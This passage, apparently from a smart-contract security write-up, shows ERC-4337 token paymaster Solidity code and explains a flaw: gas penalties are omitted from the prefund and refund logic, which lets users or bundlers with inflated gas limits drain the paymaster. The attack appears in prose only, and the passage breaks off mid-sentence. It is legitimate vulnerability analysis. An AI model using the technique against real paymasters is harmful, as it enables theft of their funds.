",{"type":20,"tag":315,"props":101546,"children":101547},{"style":334},[101548],{"type":26,"value":337},{"type":20,"tag":315,"props":101550,"children":101551},{"style":328},[101552],{"type":26,"value":101553}," tokenPaymasterConfig.refundPostopCost;\n",{"type":20,"tag":315,"props":101555,"children":101556},{"class":317,"line":571},[101557,101561,101566,101570,101574,101579,101583,101588],{"type":20,"tag":315,"props":101558,"children":101559},{"style":525},[101560],{"type":26,"value":101459},{"type":20,"tag":315,"props":101562,"children":101563},{"style":328},[101564],{"type":26,"value":101565},"(refundPostopCost ",{"type":20,"tag":315,"props":101567,"children":101568},{"style":334},[101569],{"type":26,"value":4199},{"type":20,"tag":315,"props":101571,"children":101572},{"style":328},[101573],{"type":26,"value":101523},{"type":20,"tag":315,"props":101575,"children":101576},{"style":345},[101577],{"type":26,"value":101578},"unpackPostOpGasLimit",{"type":20,"tag":315,"props":101580,"children":101581},{"style":328},[101582],{"type":26,"value":16778},{"type":20,"tag":315,"props":101584,"children":101585},{"style":2652},[101586],{"type":26,"value":101587},"\"TPM: postOpGasLimit too low\"",{"type":20,"tag":315,"props":101589,"children":101590},{"style":328},[101591],{"type":26,"value":2214},{"type":20,"tag":315,"props":101593,"children":101594},{"class":317,"line":2031},[101595,101599,101604,101608,101613,101617,101622,101626],{"type":20,"tag":315,"props":101596,"children":101597},{"style":322},[101598],{"type":26,"value":101386},{"type":20,"tag":315,"props":101600,"children":101601},{"style":328},[101602],{"type":26,"value":101603}," preChargeNative ",{"type":20,"tag":315,"props":101605,"children":101606},{"style":334},[101607],{"type":26,"value":337},{"type":20,"tag":315,"props":101609,"children":101610},{"style":328},[101611],{"type":26,"value":101612}," requiredPreFund ",{"type":20,"tag":315,"props":101614,"children":101615},{"style":334},[101616],{"type":26,"value":817},{"type":20,"tag":315,"props":101618,"children":101619},{"style":328},[101620],{"type":26,"value":101621}," (refundPostopCost ",{"type":20,"tag":315,"props":101623,"children":101624},{"style":334},[101625],{"type":26,"value":901},{"type":20,"tag":315,"props":101627,"children":101628},{"style":328},[101629],{"type":26,"value":101630}," maxFeePerGas);\n",{"type":20,"tag":315,"props":101632,"children":101633},{"class":317,"line":2053},[101634,101639,101643],{"type":20,"tag":315,"props":101635,"children":101636},{"style":1071},[101637],{"type":26,"value":101638}," // ",{"type":20,"tag":315,"props":101640,"children":101641},{"style":541},[101642],{"type":26,"value":65014},{"type":20,"tag":315,"props":101644,"children":101645},{"style":1071},[101646],{"type":26,"value":101647},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":20,"tag":315,"props":101649,"children":101650},{"class":317,"line":2061},[101651,101655,101660,101664,101669,101673,101678,101682],{"type":20,"tag":315,"props":101652,"children":101653},{"style":322},[101654],{"type":26,"value":101386},{"type":20,"tag":315,"props":101656,"children":101657},{"style":328},[101658],{"type":26,"value":101659}," cachedPriceWithMarkup ",{"type":20,"tag":315,"props":101661,"children":101662},{"style":334},[101663],{"type":26,"value":337},{"type":20,"tag":315,"props":101665,"children":101666},{"style":328},[101667],{"type":26,"value":101668}," cachedPrice ",{"type":20,"tag":315,"props":101670,"children":101671},{"style":334},[101672],{"type":26,"value":901},{"type":20,"tag":315,"props":101674,"children":101675},{"style":328},[101676],{"type":26,"value":101677}," DENOM ",{"type":20,"tag":315,"props":101679,"children":101680},{"style":334},[101681],{"type":26,"value":786},{"type":20,"tag":315,"props":101683,"children":101684},{"style":328},[101685],{"type":26,"value":101686}," priceMarkup;\n",{"type":20,"tag":315,"props":101688,"children":101689},{"class":317,"line":2070},[101690,101694,101699,101703,101707],{"type":20,"tag":315,"props":101691,"children":101692},{"style":525},[101693],{"type":26,"value":57054},{"type":20,"tag":315,"props":101695,"children":101696},{"style":328},[101697],{"type":26,"value":101698}," (dataLength ",{"type":20,"tag":315,"props":101700,"children":101701},{"style":334},[101702],{"type":26,"value":538},{"type":20,"tag":315,"props":101704,"children":101705},{"style":765},[101706],{"type":26,"value":101489},{"type":20,"tag":315,"props":101708,"children":101709},{"style":328},[101710],{"type":26,"value":549},{"type":20,"tag":315,"props":101712,"children":101713},{"class":317,"line":2139},[101714,101719,101724],{"type":20,"tag":315,"props":101715,"children":101716},{"style":322},[101717],{"type":26,"value":101718}," uint256",{"type":20,"tag":315,"props":101720,"children":101721},{"style":328},[101722],{"type":26,"value":101723}," clientSuppliedPrice ",{"type":20,"tag":315,"props":101725,"children":101726},{"style":334},[101727],{"type":26,"value":13094},{"type":20,"tag":315,"props":101729,"children":101730},{"class":317,"line":2147},[101731,101736,101740,101744,101749,101753,101758,101762,101766],{"type":20,"tag":315,"props":101732,"children":101733},{"style":322},[101734],{"type":26,"value":101735}," uint256",{"type":20,"tag":315,"props":101737,"children":101738},{"style":328},[101739],{"type":26,"value":1049},{"type":20,"tag":315,"props":101741,"children":101742},{"style":322},[101743],{"type":26,"value":101284},{"type":20,"tag":315,"props":101745,"children":101746},{"style":328},[101747],{"type":26,"value":101748},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":20,"tag":315,"props":101750,"children":101751},{"style":334},[101752],{"type":26,"value":2884},{"type":20,"tag":315,"props":101754,"children":101755},{"style":328},[101756],{"type":26,"value":101757},"PAYMASTER_DATA_OFFSET ",{"type":20,"tag":315,"props":101759,"children":101760},{"style":334},[101761],{"type":26,"value":817},{"type":20,"tag":315,"props":101763,"children":101764},{"style":765},[101765],{"type":26,"value":101489},{"type":20,"tag":315,"props":101767,"children":101768},{"style":328},[101769],{"type":26,"value":101770},"]));\n",{"type":20,"tag":315,"props":101772,"children":101773},{"class":317,"line":2177},[101774,101779,101784,101788],{"type":20,"tag":315,"props":101775,"children":101776},{"style":525},[101777],{"type":26,"value":101778}," if",{"type":20,"tag":315,"props":101780,"children":101781},{"style":328},[101782],{"type":26,"value":101783}," (clientSuppliedPrice ",{"type":20,"tag":315,"props":101785,"children":101786},{"style":334},[101787],{"type":26,"value":4199},{"type":20,"tag":315,"props":101789,"children":101790},{"style":328},[101791],{"type":26,"value":101792}," cachedPriceWithMarkup) {\n",{"type":20,"tag":315,"props":101794,"children":101795},{"class":317,"line":2185},[101796,101801,101805],{"type":20,"tag":315,"props":101797,"children":101798},{"style":1071},[101799],{"type":26,"value":101800}," // ",{"type":20,"tag":315,"props":101802,"children":101803},{"style":541},[101804],{"type":26,"value":65014},{"type":20,"tag":315,"props":101806,"children":101807},{"style":1071},[101808],{"type":26,"value":101809},": smaller number means 'more native asset per token'\n",{"type":20,"tag":315,"props":101811,"children":101812},{"class":317,"line":2217},[101813,101818,101822],{"type":20,"tag":315,"props":101814,"children":101815},{"style":328},[101816],{"type":26,"value":101817}," cachedPriceWithMarkup ",{"type":20,"tag":315,"props":101819,"children":101820},{"style":334},[101821],{"type":26,"value":337},{"type":20,"tag":315,"props":101823,"children":101824},{"style":328},[101825],{"type":26,"value":101826}," clientSuppliedPrice;\n",{"type":20,"tag":315,"props":101828,"children":101829},{"class":317,"line":2225},[101830],{"type":20,"tag":315,"props":101831,"children":101832},{"style":328},[101833],{"type":26,"value":69327},{"type":20,"tag":315,"props":101835,"children":101836},{"class":317,"line":2285},[101837],{"type":20,"tag":315,"props":101838,"children":101839},{"style":328},[101840],{"type":26,"value":57138},{"type":20,"tag":315,"props":101842,"children":101843},{"class":317,"line":7444},[101844,101848,101853,101857,101862],{"type":20,"tag":315,"props":101845,"children":101846},{"style":322},[101847],{"type":26,"value":101386},{"type":20,"tag":315,"props":101849,"children":101850},{"style":328},[101851],{"type":26,"value":101852}," tokenAmount ",{"type":20,"tag":315,"props":101854,"children":101855},{"style":334},[101856],{"type":26,"value":337},{"type":20,"tag":315,"props":101858,"children":101859},{"style":345},[101860],{"type":26,"value":101861}," weiToToken",{"type":20,"tag":315,"props":101863,"children":101864},{"style":328},[101865],{"type":26,"value":101866},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":20,"tag":315,"props":101868,"children":101869},{"class":317,"line":7462},[101870,101875,101879],{"type":20,"tag":315,"props":101871,"children":101872},{"style":328},[101873],{"type":26,"value":101874}," tokenAmount ",{"type":20,"tag":315,"props":101876,"children":101877},{"style":334},[101878],{"type":26,"value":66693},{"type":20,"tag":315,"props":101880,"children":101881},{"style":328},[101882],{"type":26,"value":101883}," baseFee;\n",{"type":20,"tag":315,"props":101885,"children":101886},{"class":317,"line":7507},[101887,101892,101897,101902,101906,101910,101914],{"type":20,"tag":315,"props":101888,"children":101889},{"style":328},[101890],{"type":26,"value":101891}," SafeERC20.",{"type":20,"tag":315,"props":101893,"children":101894},{"style":345},[101895],{"type":26,"value":101896},"safeTransferFrom",{"type":20,"tag":315,"props":101898,"children":101899},{"style":328},[101900],{"type":26,"value":101901},"(token, userOp.sender, ",{"type":20,"tag":315,"props":101903,"children":101904},{"style":322},[101905],{"type":26,"value":1054},{"type":20,"tag":315,"props":101907,"children":101908},{"style":328},[101909],{"type":26,"value":1049},{"type":20,"tag":315,"props":101911,"children":101912},{"style":541},[101913],{"type":26,"value":16095},{"type":20,"tag":315,"props":101915,"children":101916},{"style":328},[101917],{"type":26,"value":101918},"), tokenAmount);\n",{"type":20,"tag":315,"props":101920,"children":101921},{"class":317,"line":7613},[101922,101927,101931,101936,101940,101945],{"type":20,"tag":315,"props":101923,"children":101924},{"style":328},[101925],{"type":26,"value":101926}," context ",{"type":20,"tag":315,"props":101928,"children":101929},{"style":334},[101930],{"type":26,"value":337},{"type":20,"tag":315,"props":101932,"children":101933},{"style":541},[101934],{"type":26,"value":101935}," abi",{"type":20,"tag":315,"props":101937,"children":101938},{"style":328},[101939],{"type":26,"value":61},{"type":20,"tag":315,"props":101941,"children":101942},{"style":345},[101943],{"type":26,"value":101944},"encode",{"type":20,"tag":315,"props":101946,"children":101947},{"style":328},[101948],{"type":26,"value":101949},"(tokenAmount, userOp.sender);\n",{"type":20,"tag":315,"props":101951,"children":101952},{"class":317,"line":21914},[101953,101958],{"type":20,"tag":315,"props":101954,"children":101955},{"style":328},[101956],{"type":26,"value":101957}," validationResult ",{"type":20,"tag":315,"props":101959,"children":101960},{"style":334},[101961],{"type":26,"value":13094},{"type":20,"tag":315,"props":101963,"children":101964},{"class":317,"line":21949},[101965,101970,101974,101978,101982,101987,101992,101996,102001,102005],{"type":20,"tag":315,"props":101966,"children":101967},{"style":345},[101968],{"type":26,"value":101969}," _packValidationData",{"type":20,"tag":315,"props":101971,"children":101972},{"style":328},[101973],{"type":26,"value":1049},{"type":20,"tag":315,"props":101975,"children":101976},{"style":541},[101977],{"type":26,"value":6571},{"type":20,"tag":315,"props":101979,"children":101980},{"style":328},[101981],{"type":26,"value":44},{"type":20,"tag":315,"props":101983,"children":101984},{"style":322},[101985],{"type":26,"value":101986},"uint48",{"type":20,"tag":315,"props":101988,"children":101989},{"style":328},[101990],{"type":26,"value":101991},"(cachedPriceTimestamp ",{"type":20,"tag":315,"props":101993,"children":101994},{"style":334},[101995],{"type":26,"value":817},{"type":20,"tag":315,"props":101997,"children":101998},{"style":328},[101999],{"type":26,"value":102000}," tokenPaymasterConfig.priceMaxAge), ",{"type":20,"tag":315,"props":102002,"children":102003},{"style":765},[102004],{"type":26,"value":1063},{"type":20,"tag":315,"props":102006,"children":102007},{"style":328},[102008],{"type":26,"value":2214},{"type":20,"tag":315,"props":102010,"children":102011},{"class":317,"line":21957},[102012],{"type":20,"tag":315,"props":102013,"children":102014},{"style":328},[102015],{"type":26,"value":1728},{"type":20,"tag":315,"props":102017,"children":102018},{"class":317,"line":21965},[102019],{"type":20,"tag":315,"props":102020,"children":102021},{"style":328},[102022],{"type":26,"value":1736},{"type":20,"tag":315,"props":102024,"children":102025},{"class":317,"line":21974},[102026],{"type":20,"tag":315,"props":102027,"children":102028},{"style":328},[102029],{"type":26,"value":8718},{"type":20,"tag":315,"props":102031,"children":102032},{"class":317,"line":22016},[102033,102037,102042,102046,102051,102055,102059,102063,102067,102071,102075,102080,102084,102088,102093],{"type":20,"tag":315,"props":102034,"children":102035},{"style":541},[102036],{"type":26,"value":88089},{"type":20,"tag":315,"props":102038,"children":102039},{"style":345},[102040],{"type":26,"value":102041}," _postOp",{"type":20,"tag":315,"props":102043,"children":102044},{"style":328},[102045],{"type":26,"value":1049},{"type":20,"tag":315,"props":102047,"children":102048},{"style":541},[102049],{"type":26,"value":102050},"PostOpMode",{"type":20,"tag":315,"props":102052,"children":102053},{"style":328},[102054],{"type":26,"value":44},{"type":20,"tag":315,"props":102056,"children":102057},{"style":322},[102058],{"type":26,"value":82086},{"type":20,"tag":315,"props":102060,"children":102061},{"style":541},[102062],{"type":26,"value":101270},{"type":20,"tag":315,"props":102064,"children":102065},{"style":635},[102066],{"type":26,"value":74598},{"type":20,"tag":315,"props":102068,"children":102069},{"style":328},[102070],{"type":26,"value":44},{"type":20,"tag":315,"props":102072,"children":102073},{"style":322},[102074],{"type":26,"value":325},{"type":20,"tag":315,"props":102076,"children":102077},{"style":635},[102078],{"type":26,"value":102079}," actualGasCost",{"type":20,"tag":315,"props":102081,"children":102082},{"style":328},[102083],{"type":26,"value":44},{"type":20,"tag":315,"props":102085,"children":102086},{"style":322},[102087],{"type":26,"value":325},{"type":20,"tag":315,"props":102089,"children":102090},{"style":635},[102091],{"type":26,"value":102092}," actualUserOpFeePerGas",{"type":20,"tag":315,"props":102094,"children":102095},{"style":328},[102096],{"type":26,"value":380},{"type":20,"tag":315,"props":102098,"children":102099},{"class":317,"line":22049},[102100],{"type":20,"tag":315,"props":102101,"children":102102},{"style":541},[102103],{"type":26,"value":101309},{"type":20,"tag":315,"props":102105,"children":102106},{"class":317,"line":22057},[102107],{"type":20,"tag":315,"props":102108,"children":102109},{"style":541},[102110],{"type":26,"value":101317},{"type":20,"tag":315,"props":102112,"children":102113},{"class":317,"line":22065},[102114],{"type":20,"tag":315,"props":102115,"children":102116},{"style":328},[102117],{"type":26,"value":27602},{"type":20,"tag":315,"props":102119,"children":102120},{"class":317,"line":22074},[102121,102125],{"type":20,"tag":315,"props":102122,"children":102123},{"style":525},[102124],{"type":26,"value":101374},{"type":20,"tag":315,"props":102126,"children":102127},{"style":328},[102128],{"type":26,"value":1092},{"type":20,"tag":315,"props":102130,"children":102131},{"class":317,"line":22150},[102132,102136,102140,102144],{"type":20,"tag":315,"props":102133,"children":102134},{"style":322},[102135],{"type":26,"value":101386},{"type":20,"tag":315,"props":102137,"children":102138},{"style":328},[102139],{"type":26,"value":101391},{"type":20,"tag":315,"props":102141,"children":102142},{"style":334},[102143],{"type":26,"value":337},{"type":20,"tag":315,"props":102145,"children":102146},{"style":328},[102147],{"type":26,"value":101400},{"type":20,"tag":315,"props":102149,"children":102150},{"class":317,"line":22183},[102151,102155,102159,102163],{"type":20,"tag":315,"props":102152,"children":102153},{"style":322},[102154],{"type":26,"value":101386},{"type":20,"tag":315,"props":102156,"children":102157},{"style":328},[102158],{"type":26,"value":101412},{"type":20,"tag":315,"props":102160,"children":102161},{"style":334},[102162],{"type":26,"value":337},{"type":20,"tag":315,"props":102164,"children":102165},{"style":328},[102166],{"type":26,"value":101421},{"type":20,"tag":315,"props":102168,"children":102169},{"class":317,"line":22191},[102170,102175,102179,102184,102188,102193,102197,102201,102205,102210,102215,102219,102223,102227],{"type":20,"tag":315,"props":102171,"children":102172},{"style":328},[102173],{"type":26,"value":102174}," (",{"type":20,"tag":315,"props":102176,"children":102177},{"style":322},[102178],{"type":26,"value":325},{"type":20,"tag":315,"props":102180,"children":102181},{"style":328},[102182],{"type":26,"value":102183}," preCharge, ",{"type":20,"tag":315,"props":102185,"children":102186},{"style":322},[102187],{"type":26,"value":1054},{"type":20,"tag":315,"props":102189,"children":102190},{"style":328},[102191],{"type":26,"value":102192}," userOpSender) ",{"type":20,"tag":315,"props":102194,"children":102195},{"style":334},[102196],{"type":26,"value":337},{"type":20,"tag":315,"props":102198,"children":102199},{"style":541},[102200],{"type":26,"value":101935},{"type":20,"tag":315,"props":102202,"children":102203},{"style":328},[102204],{"type":26,"value":61},{"type":20,"tag":315,"props":102206,"children":102207},{"style":345},[102208],{"type":26,"value":102209},"decode",{"type":20,"tag":315,"props":102211,"children":102212},{"style":328},[102213],{"type":26,"value":102214},"(context, (",{"type":20,"tag":315,"props":102216,"children":102217},{"style":322},[102218],{"type":26,"value":325},{"type":20,"tag":315,"props":102220,"children":102221},{"style":328},[102222],{"type":26,"value":44},{"type":20,"tag":315,"props":102224,"children":102225},{"style":322},[102226],{"type":26,"value":1054},{"type":20,"tag":315,"props":102228,"children":102229},{"style":328},[102230],{"type":26,"value":5618},{"type":20,"tag":315,"props":102232,"children":102233},{"class":317,"line":22199},[102234,102239,102244,102249],{"type":20,"tag":315,"props":102235,"children":102236},{"style":328},[102237],{"type":26,"value":102238}," preCharge ",{"type":20,"tag":315,"props":102240,"children":102241},{"style":334},[102242],{"type":26,"value":102243},"-=",{"type":20,"tag":315,"props":102245,"children":102246},{"style":328},[102247],{"type":26,"value":102248}," baseFee; ",{"type":20,"tag":315,"props":102250,"children":102251},{"style":1071},[102252],{"type":26,"value":102253},"// don't refund the base fee\n",{"type":20,"tag":315,"props":102255,"children":102256},{"class":317,"line":22236},[102257,102261,102266,102270,102275,102279,102283],{"type":20,"tag":315,"props":102258,"children":102259},{"style":322},[102260],{"type":26,"value":101386},{"type":20,"tag":315,"props":102262,"children":102263},{"style":328},[102264],{"type":26,"value":102265}," _cachedPrice ",{"type":20,"tag":315,"props":102267,"children":102268},{"style":334},[102269],{"type":26,"value":337},{"type":20,"tag":315,"props":102271,"children":102272},{"style":345},[102273],{"type":26,"value":102274}," updateCachedPrice",{"type":20,"tag":315,"props":102276,"children":102277},{"style":328},[102278],{"type":26,"value":1049},{"type":20,"tag":315,"props":102280,"children":102281},{"style":541},[102282],{"type":26,"value":6571},{"type":20,"tag":315,"props":102284,"children":102285},{"style":328},[102286],{"type":26,"value":2214},{"type":20,"tag":315,"props":102288,"children":102289},{"class":317,"line":22249},[102290,102294,102298],{"type":20,"tag":315,"props":102291,"children":102292},{"style":1071},[102293],{"type":26,"value":101638},{"type":20,"tag":315,"props":102295,"children":102296},{"style":541},[102297],{"type":26,"value":65014},{"type":20,"tag":315,"props":102299,"children":102300},{"style":1071},[102301],{"type":26,"value":101647},{"type":20,"tag":315,"props":102303,"children":102304},{"class":317,"line":22262},[102305,102309,102313,102317,102321,102325,102329,102333],{"type":20,"tag":315,"props":102306,"children":102307},{"style":322},[102308],{"type":26,"value":101386},{"type":20,"tag":315,"props":102310,"children":102311},{"style":328},[102312],{"type":26,"value":101659},{"type":20,"tag":315,"props":102314,"children":102315},{"style":334},[102316],{"type":26,"value":337},{"type":20,"tag":315,"props":102318,"children":102319},{"style":328},[102320],{"type":26,"value":102265},{"type":20,"tag":315,"props":102322,"children":102323},{"style":334},[102324],{"type":26,"value":901},{"type":20,"tag":315,"props":102326,"children":102327},{"style":328},[102328],{"type":26,"value":101677},{"type":20,"tag":315,"props":102330,"children":102331},{"style":334},[102332],{"type":26,"value":786},{"type":20,"tag":315,"props":102334,"children":102335},{"style":328},[102336],{"type":26,"value":101686},{"type":20,"tag":315,"props":102338,"children":102339},{"class":317,"line":22275},[102340],{"type":20,"tag":315,"props":102341,"children":102342},{"style":1071},[102343],{"type":26,"value":102344}," // Refund tokens based on actual gas cost\n",{"type":20,"tag":315,"props":102346,"children":102347},{"class":317,"line":22329},[102348,102352,102357,102361,102366,102370,102375,102379],{"type":20,"tag":315,"props":102349,"children":102350},{"style":322},[102351],{"type":26,"value":101386},{"type":20,"tag":315,"props":102353,"children":102354},{"style":328},[102355],{"type":26,"value":102356}," actualChargeNative ",{"type":20,"tag":315,"props":102358,"children":102359},{"style":334},[102360],{"type":26,"value":337},{"type":20,"tag":315,"props":102362,"children":102363},{"style":328},[102364],{"type":26,"value":102365}," actualGasCost ",{"type":20,"tag":315,"props":102367,"children":102368},{"style":334},[102369],{"type":26,"value":817},{"type":20,"tag":315,"props":102371,"children":102372},{"style":328},[102373],{"type":26,"value":102374}," tokenPaymasterConfig.refundPostopCost ",{"type":20,"tag":315,"props":102376,"children":102377},{"style":334},[102378],{"type":26,"value":901},{"type":20,"tag":315,"props":102380,"children":102381},{"style":328},[102382],{"type":26,"value":102383}," actualUserOpFeePerGas;\n",{"type":20,"tag":315,"props":102385,"children":102386},{"class":317,"line":22338},[102387,102391,102396,102400,102404],{"type":20,"tag":315,"props":102388,"children":102389},{"style":322},[102390],{"type":26,"value":101386},{"type":20,"tag":315,"props":102392,"children":102393},{"style":328},[102394],{"type":26,"value":102395}," actualTokenNeeded ",{"type":20,"tag":315,"props":102397,"children":102398},{"style":334},[102399],{"type":26,"value":337},{"type":20,"tag":315,"props":102401,"children":102402},{"style":345},[102403],{"type":26,"value":101861},{"type":20,"tag":315,"props":102405,"children":102406},{"style":328},[102407],{"type":26,"value":102408},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":20,"tag":315,"props":102410,"children":102411},{"class":317,"line":30696},[102412,102416,102421,102425],{"type":20,"tag":315,"props":102413,"children":102414},{"style":525},[102415],{"type":26,"value":57054},{"type":20,"tag":315,"props":102417,"children":102418},{"style":328},[102419],{"type":26,"value":102420}," (preCharge ",{"type":20,"tag":315,"props":102422,"children":102423},{"style":334},[102424],{"type":26,"value":8862},{"type":20,"tag":315,"props":102426,"children":102427},{"style":328},[102428],{"type":26,"value":102429}," actualTokenNeeded) {\n",{"type":20,"tag":315,"props":102431,"children":102432},{"class":317,"line":30717},[102433],{"type":20,"tag":315,"props":102434,"children":102435},{"style":1071},[102436],{"type":26,"value":102437}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":20,"tag":315,"props":102439,"children":102440},{"class":317,"line":79209},[102441,102446,102451,102456,102460],{"type":20,"tag":315,"props":102442,"children":102443},{"style":328},[102444],{"type":26,"value":102445}," SafeERC20.",{"type":20,"tag":315,"props":102447,"children":102448},{"style":345},[102449],{"type":26,"value":102450},"safeTransfer",{"type":20,"tag":315,"props":102452,"children":102453},{"style":328},[102454],{"type":26,"value":102455},"(token, userOpSender, preCharge ",{"type":20,"tag":315,"props":102457,"children":102458},{"style":334},[102459],{"type":26,"value":478},{"type":20,"tag":315,"props":102461,"children":102462},{"style":328},[102463],{"type":26,"value":102464}," actualTokenNeeded);\n",{"type":20,"tag":315,"props":102466,"children":102467},{"class":317,"line":79222},[102468,102472,102476,102480,102484,102488],{"type":20,"tag":315,"props":102469,"children":102470},{"style":328},[102471],{"type":26,"value":68850},{"type":20,"tag":315,"props":102473,"children":102474},{"style":525},[102475],{"type":26,"value":1087},{"type":20,"tag":315,"props":102477,"children":102478},{"style":525},[102479],{"type":26,"value":14189},{"type":20,"tag":315,"props":102481,"children":102482},{"style":328},[102483],{"type":26,"value":102420},{"type":20,"tag":315,"props":102485,"children":102486},{"style":334},[102487],{"type":26,"value":4199},{"type":20,"tag":315,"props":102489,"children":102490},{"style":328},[102491],{"type":26,"value":102429},{"type":20,"tag":315,"props":102493,"children":102494},{"class":317,"line":79230},[102495],{"type":20,"tag":315,"props":102496,"children":102497},{"style":1071},[102498],{"type":26,"value":102499}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":20,"tag":315,"props":102501,"children":102502},{"class":317,"line":79238},[102503],{"type":20,"tag":315,"props":102504,"children":102505},{"style":1071},[102506],{"type":26,"value":102507}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":20,"tag":315,"props":102509,"children":102510},{"class":317,"line":79246},[102511,102515,102519,102524,102528,102532,102536,102541,102545],{"type":20,"tag":315,"props":102512,"children":102513},{"style":328},[102514],{"type":26,"value":102445},{"type":20,"tag":315,"props":102516,"children":102517},{"style":345},[102518],{"type":26,"value":101896},{"type":20,"tag":315,"props":102520,"children":102521},{"style":328},[102522],{"type":26,"value":102523},"(token, userOpSender, ",{"type":20,"tag":315,"props":102525,"children":102526},{"style":322},[102527],{"type":26,"value":1054},{"type":20,"tag":315,"props":102529,"children":102530},{"style":328},[102531],{"type":26,"value":1049},{"type":20,"tag":315,"props":102533,"children":102534},{"style":541},[102535],{"type":26,"value":16095},{"type":20,"tag":315,"props":102537,"children":102538},{"style":328},[102539],{"type":26,"value":102540},"), actualTokenNeeded ",{"type":20,"tag":315,"props":102542,"children":102543},{"style":334},[102544],{"type":26,"value":478},{"type":20,"tag":315,"props":102546,"children":102547},{"style":328},[102548],{"type":26,"value":102549}," preCharge);\n",{"type":20,"tag":315,"props":102551,"children":102552},{"class":317,"line":79286},[102553],{"type":20,"tag":315,"props":102554,"children":102555},{"style":328},[102556],{"type":26,"value":57138},{"type":20,"tag":315,"props":102558,"children":102559},{"class":317,"line":79294},[102560],{"type":20,"tag":315,"props":102561,"children":102562},{"emptyLinePlaceholder":15},[102563],{"type":26,"value":427},{"type":20,"tag":315,"props":102565,"children":102566},{"class":317,"line":86481},[102567,102571,102576,102580,102584],{"type":20,"tag":315,"props":102568,"children":102569},{"style":525},[102570],{"type":26,"value":57054},{"type":20,"tag":315,"props":102572,"children":102573},{"style":328},[102574],{"type":26,"value":102575}," (baseFee ",{"type":20,"tag":315,"props":102577,"children":102578},{"style":334},[102579],{"type":26,"value":8862},{"type":20,"tag":315,"props":102581,"children":102582},{"style":765},[102583],{"type":26,"value":985},{"type":20,"tag":315,"props":102585,"children":102586},{"style":328},[102587],{"type":26,"value":549},{"type":20,"tag":315,"props":102589,"children":102590},{"class":317,"line":86489},[102591,102595,102599],{"type":20,"tag":315,"props":102592,"children":102593},{"style":328},[102594],{"type":26,"value":102445},{"type":20,"tag":315,"props":102596,"children":102597},{"style":345},[102598],{"type":26,"value":102450},{"type":20,"tag":315,"props":102600,"children":102601},{"style":328},[102602],{"type":26,"value":102603},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":20,"tag":315,"props":102605,"children":102606},{"class":317,"line":99835},[102607],{"type":20,"tag":315,"props":102608,"children":102609},{"style":328},[102610],{"type":26,"value":57138},{"type":20,"tag":315,"props":102612,"children":102613},{"class":317,"line":99843},[102614],{"type":20,"tag":315,"props":102615,"children":102616},{"emptyLinePlaceholder":15},[102617],{"type":26,"value":427},{"type":20,"tag":315,"props":102619,"children":102620},{"class":317,"line":99851},[102621,102626,102631],{"type":20,"tag":315,"props":102622,"children":102623},{"style":525},[102624],{"type":26,"value":102625}," emit",{"type":20,"tag":315,"props":102627,"children":102628},{"style":345},[102629],{"type":26,"value":102630}," UserOperationSponsored",{"type":20,"tag":315,"props":102632,"children":102633},{"style":328},[102634],{"type":26,"value":102635},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":20,"tag":315,"props":102637,"children":102638},{"class":317,"line":99859},[102639,102644],{"type":20,"tag":315,"props":102640,"children":102641},{"style":345},[102642],{"type":26,"value":102643}," refillEntryPointDeposit",{"type":20,"tag":315,"props":102645,"children":102646},{"style":328},[102647],{"type":26,"value":102648},"(_cachedPrice);\n",{"type":20,"tag":315,"props":102650,"children":102651},{"class":317,"line":99887},[102652],{"type":20,"tag":315,"props":102653,"children":102654},{"style":328},[102655],{"type":26,"value":1728},{"type":20,"tag":315,"props":102657,"children":102659},{"class":317,"line":102658},67,[102660],{"type":20,"tag":315,"props":102661,"children":102662},{"style":328},[102663],{"type":26,"value":1736},{"type":20,"tag":315,"props":102665,"children":102667},{"class":317,"line":102666},68,[102668],{"type":20,"tag":315,"props":102669,"children":102670},{"style":328},[102671],{"type":26,"value":577},{"type":20,"tag":29,"props":102673,"children":102674},{},[102675,102677,102683,102685,102690,102692,102698],{"type":26,"value":102676},"Looking at the code above, during ",{"type":20,"tag":119,"props":102678,"children":102680},{"className":102679},[],[102681],{"type":26,"value":102682},"validatePaymasterUserOp",{"type":26,"value":102684},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":20,"tag":119,"props":102686,"children":102688},{"className":102687},[],[102689],{"type":26,"value":100741},{"type":26,"value":102691}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":20,"tag":119,"props":102693,"children":102695},{"className":102694},[],[102696],{"type":26,"value":102697},"postOp",{"type":26,"value":102699},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":20,"tag":29,"props":102701,"children":102702},{},[102703,102705,102710,102712,102719],{"type":26,"value":102704},"However, there is a critical oversight: ",{"type":20,"tag":3717,"props":102706,"children":102707},{},[102708],{"type":26,"value":102709},"the code does not account for gas penalties",{"type":26,"value":102711},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":20,"tag":35,"props":102713,"children":102716},{"href":102714,"rel":102715},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[39],[102717],{"type":26,"value":102718},"penalties incurred",{"type":26,"value":102720}," from differences between the execution gas limit and actual execution gas.",{"type":20,"tag":29,"props":102722,"children":102723},{},[102724],{"type":26,"value":102725},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":20,"tag":29,"props":102727,"children":102728},{},[102729,102731,102736],{"type":26,"value":102730},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":20,"tag":119,"props":102732,"children":102734},{"className":102733},[],[102735],{"type":26,"value":100440},{"type":26,"value":102737}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack 